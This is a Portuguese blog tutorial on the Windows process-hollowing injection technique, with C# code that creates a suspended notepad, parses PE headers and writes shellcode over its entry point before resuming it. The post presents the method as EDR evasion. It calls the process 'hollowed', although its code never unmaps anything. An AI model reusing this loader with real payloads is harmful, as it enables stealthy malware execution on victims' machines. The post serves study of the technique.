Process Hollowing: uma análise interna.
O Windows não deixa a desejar quando o assunto é Process Injection. Diferentes técnicas de injeção de shellcodes em processos locais/remotos são descobertas e publicadas para pesquisa. Dentre elas, uma que me chamou bastante atenção, e que é o assunto que abordaremos hoje, é a técnica de Process Hollowing!
O interessante dessa técnica é que ela vai além do funcionamento básico de uma injeção de shellcode. Em vez de apenas alocar memória no processo remoto e inserir o shellcode, exploraremos a estrutura fundamental do formato PE para abusarmos de atributos importantes para a execução do nosso código.
Introdução
De acordo com o MITRE ATT&CK, a técnica T1055.012 consiste em “adversários podem injetar código malicioso em processos suspensos e esvaziados para evadir defesas baseadas em processos”. Simplificadamente, o ataque ocorre com o seguinte workflow:
Onde:
Hollowing de Processo
: Trata-se da etapa especial do ataque. O atacante irá realizar o “hollowing”, ou o “esvaziamento” do conteúdo do processo.Injeção de Shellcode
: É nesta etapa onde o invasor injeta o conteúdo do shellcode no campo esvaziado.Controle de Execução
: Ocorre quando o shellcode é executado.
Sem mais enrolação, partiremos para o código!
CreateProcess
Primeiramente, vamos criar um novo processo “notepad.exe” suspenso. É este processo que será submetido ao ataque. Para isso, utilizamos a API “CreateProcess”.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Auto)]
private static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation
);
static void Main()
{
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool createProcessBool = CreateProcess(
null,
@"C:\Windows\System32\notepad.exe",
IntPtr.Zero,
IntPtr.Zero,
false,
0x00000004,
IntPtr.Zero,
null,
ref si,
out pi
);
if (createProcessBool == false)
{
Console.WriteLine("CreateProcess ERROR!");
Console.WriteLine($"ERROR CODE: {Marshal.GetLastWin32Error()}");
Environment.Exit(0);
}
else
{
Console.WriteLine(". CreateProcess SUCCESS!");
Console.WriteLine($".. Process HANDLE: {pi.hProcess}");
Console.WriteLine($"... Process THREAD: {pi.hThread} \n");
}
}
CREATE_SUSPENDED (0x00000004)
: o valor que define o novo processo como suspenso. Para mais informações, veja esta documentação.
Executando o código acima, um novo processo “notepad.exe” será criado em modo suspenso. Podemos validá-lo abrindo o nosso gerenciador de tarefas.
NtQueryInformationProcess
Nosso próximo passo é obter o valor do PEB do processo recém-criado. Para isso, a API “NtQueryInformationProcess” desempenha esta função.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
private struct PROCESS_BASIC_INFORMATION
{
public NTSTATUS ExitStatus;
public IntPtr PebBaseAddress;
public UIntPtr AffinityMask;
public int BasePriority;
public UIntPtr UniqueProcessId;
public UIntPtr InheritedFromUniqueProcessId;
}
[DllImport("NTDLL.DLL", SetLastError=true)]
static extern NTSTATUS NtQueryInformationProcess(
IntPtr hProcess,
int pic,
out PROCESS_BASIC_INFORMATION pbi,
IntPtr cb,
out int pSize
);
static void Main()
{
PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();
NTSTATUS GetPebAddress = NtQueryInformationProcess(
pi.hProcess,
0,
out pbi,
(IntPtr.Size * 6),
out int pSize
);
if (GetPebAddress != NTSTATUS.Success)
{
Console.WriteLine("NtQueryInformationProcess ERROR!");
Console.WriteLine($"ERROR CODE: {GetPebAddress}");
Environment.Exit(0);
}
else
{
Console.WriteLine($". NtQueryInformationProcess SUCCESS!");
Console.WriteLine($".. Process PEB ADDRESS: 000000{pbi.PebBaseAddress.ToString("X")}");
}
}
O PEB (Process Environment Block) se trata de uma estrutura de dados que todo processo possui no Windows. Nesta estrutura, informações importantes sobre o processo em execução são armazenadas, como seu PID, localização de DLLs carregadas, caminho do executável, entre outros.
Nas capturas de telas abaixo, você pode notar algumas diferenças de valores. Isso se dá ao fato de que a cada vez que eu executava o código, um novo processo notepad era criado. Consequentemente, os valores nas prints se diferem. Entretanto, a lógica permanece a mesma.
Executando o código acima, obtemos o endereço PEB do executável. Para validarmos se de fato o endereço obtido está certo, podemos utilizar o famoso WinDBG para compararmos os valores.
Com o PEB em mãos, partiremos para uma tarefa importante da técnica: obter o ImageBaseAddress
. Este atributo é obtido através do PEB e representa o endereço inicial onde o EXE é mapeado. Rodando o comando !peb
no WinDBG, podemos verificar que seu offset é no valor de 0x010
.
Logo, para obtermos o ImageBaseAddress
, basta somarmos o valor 0x010
ao valor do PEB obtido anteriormente.
1
2
IntPtr ImageBaseAddress = pbi.PebBaseAddress + 0x010;
Console.WriteLine($"... Process ImageBaseAddress: 000000{ImageBaseAddress.ToString("X")}\n");
O termo “offset” serve para identificar onde uma informação específica está localizada em relação a um ponto de referência dentro de uma região de memória.
ReadProcessMemory
Agora, a próxima etapa é calcular alguns valores dos cabeçalhos do PE. Primeiramente, é necessário ter o endereço base completo do executável carregado. Para isso, precisamos ler a região de memória correspondente ao ImageBaseAddress
. Este valor será armazenado na variável ImageAddress
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
[Out] byte[] lpBuffer,
int dwSize,
IntPtr lpNumberOfBytesRead
);
static void Main()
{
byte[] arrayOne = new byte[0x8]
bool getImageBase = ReadProcessMemory(
pi.hProcess,
ImageBaseAddress,
arrayOne,
arrayOne.Length,
IntPtr.Zero
);
if (getImageBase == true)
{
IntPtr ImageAddress = (IntPtr)(BitConverter.ToInt64(arrayOne, 0));
Console.WriteLine($". Base Address: 000000{ImageAddress.ToString("X")}");
}
}
O valor de 8 bytes foi escolhido porque ele corresponde ao tamanho de um valor inteiro de 64 bits.
Feito isso, o ponteiro ImageAddress
será o responsável por armazenar o valor que almejamos. Podemos validá-lo realizando uma comparação com o valor que é retornado no comando lm
do WinDBG.
Nosso próximo passo é, novamente, realizar operações de leitura de memória. Porém, desta vez, repassando o próprio endereço base na API. Precisamos desta nova leitura para que seja possível ler os cabeçalhos.
1
2
3
4
5
6
7
8
byte[] arrayTwo = new byte[0x200];
bool readProcessMemory_2 = ReadProcessMemory(
pi.hProcess,
ImageAddress,
arrayTwo,
arrayTwo.Length,
IntPtr.Zero
);
Feito isso, partiremos para uma nova tarefa: calcular alguns valores dos cabeçalhos. São eles:
e_lfanew
: é um campo de 4 bytes, e o último membro da estrutura DOS Header. Seu offset indica o início do NT Header.Entrypoint RVA e VA
: Este é talvez o campo mais importante da estruturaIMAGE_OPTIONAL_HEADER
. Nele, há o endereço do ponto de entrada (EntryPoint), abreviado EP, que é onde o código do programa deve começar.
Para aprofundar-se em cabeçalhos do formato PE, recomendo a leitura deste GitBook do Mente Binária.
O primeiro passo é calcular o valor do e_lfanew
. Ele é importante porque será, a partir dele, que acessaremos os campos seguintes. O seu offset pode ser consultado utilizando a plataforma Pe-Bear.
Como vimos, seu offset está no valor de 0x3C
, conforme ilustrado na figura acima. Como o campo é de 4 bytes, então será utilizada a chamada ToUInt32
.
1
2
3
4
IntPtr e_lfanewValue = ImageAddress + 0x3C;
uint e_lfanewAddr = BitConverter.ToUInt32(arrayTwo, 0x3C);
Console.WriteLine($".. E_LFANEW: 000000{e_lfanewAddr.ToString("X")} -> 000000{e_lfanewValue.ToString("X")}");
O valor também pode ser acessado pelo WinDBG. A sintaxe seria como:
dt _IMAGE_DOS_HEADER @$peb
.
Antes de finalizarmos este tópico, é importante que tenhamos noção de alguns conceitos.
- VA: Virtual Addresses (VAs) são endereços de memória gerado pelo sistema operacional e apresentado a um programa como se fosse o endereço físico real da RAM do computador.
- RVA: É a diferença entre duas VAs. Neste caso, seu valor é a subtração de uma VA com o Image Base do executável.
O próximo passo é trivial para a execução do shellcode: calcular o EP (EntryPoint). Seu offset é de 0x28
, então precisamos somá-lo com o valor obtido do e_lfanew
anteriormente. É através do resultado da soma que poderemos acessar o seu RVA (Relative Virtual Address).
1
2
3
4
uint entrypointOffset = e_lfanewAddr + 0x28;
uint entrypointRVA = BitConverter.ToUInt32(arrayTwo, (int)entrypointOffset);
Console.WriteLine($".... PE EntryPoint (RVA): 000000{entrypointRVA.ToString("X")}\n");
Agora, antes de escrevermos nosso shellcode, precisamos do VA (Virtual Address) do EP. Através do valor obtido de seu RVA, podemos somá-lo com o endereço base do executável.
\[\text{EntryPointVA} = \text{ImageAddress} + \text{EntryPointRVA}\]1
IntPtr EntrypointAddressPtr = (IntPtr)((UInt64)ImageAddress + entrypointRVA);
WriteProcessMemory e ResumeThread
Por fim, chegamos à região de memória onde iremos sobrescrever com o nosso shellcode. Essa área, anteriormente, era responsável por armazenar o “conteúdo” do notepad. Agora que está esvaziada, podemos utilizá-la para nossas operações. Para isso, empregaremos a API “WriteProcessMemory”.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten
);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint ResumeThread(IntPtr hThread);
static void Main()
{
byte[] buf = File.ReadAllBytes("msgbox64.bin"); // shellcode
bool writeMemBool = WriteProcessMemory(
pi.hProcess, // handle do processo
EntrypointAddressPtr, // VA do EP
buf, // shellcode
buf.Length, // tamanho do shellcode
out IntPtr bytesWritten // quantos bytes foram escritos
);
if (writeMemBool == true) ResumeThread(pi.hThread);
}
Como mostrado no código acima, passamos o handle do processo recém-criado como o primeiro argumento, e, seguidamente, a região de memória que será sobrescrita, que corresponde ao endereço de entrada (EP) do executável (PE).
Após essa operação, retomamos a execução do processo utilizando a API ResumeThread. Se a execução da API for bem-sucedida, ao retomarmos o processo (que se encontra em estado suspenso), o shellcode será executado como a primeira instrução do executável.
Conclusão
Ao término desta leitura, buscamos compreender métodos alternativos de injeção de shellcode em processos remotos. Diferentemente dos métodos convencionais, o atacante não precisa alocar memória no processo-alvo, o que ajuda a evadir defesas como EDRs e XDRs.
Além do mais, visitamos brevemente conceitos da estrutura do formato PE para que o ataque ocorresse. Vimos a sua função, para o que serviam no ataque, e como calculá-las. Espero que tenham gostado!
Referências
- https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
- https://learn.microsoft.com/pt-br/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread
- https://learn.microsoft.com/pt-br/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess
- https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
- https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory
- https://mentebinaria.gitbook.io/engenharia-reversa/o-formato-pe
- https://trustedsec.com/blog/the-nightmare-of-proc-hollows-exe
- https://github.com/m0n0ph1/Process-Hollowing
- https://memn0ps.github.io/process-hollowing/
- https://youtu.be/BVhHLwhvOf4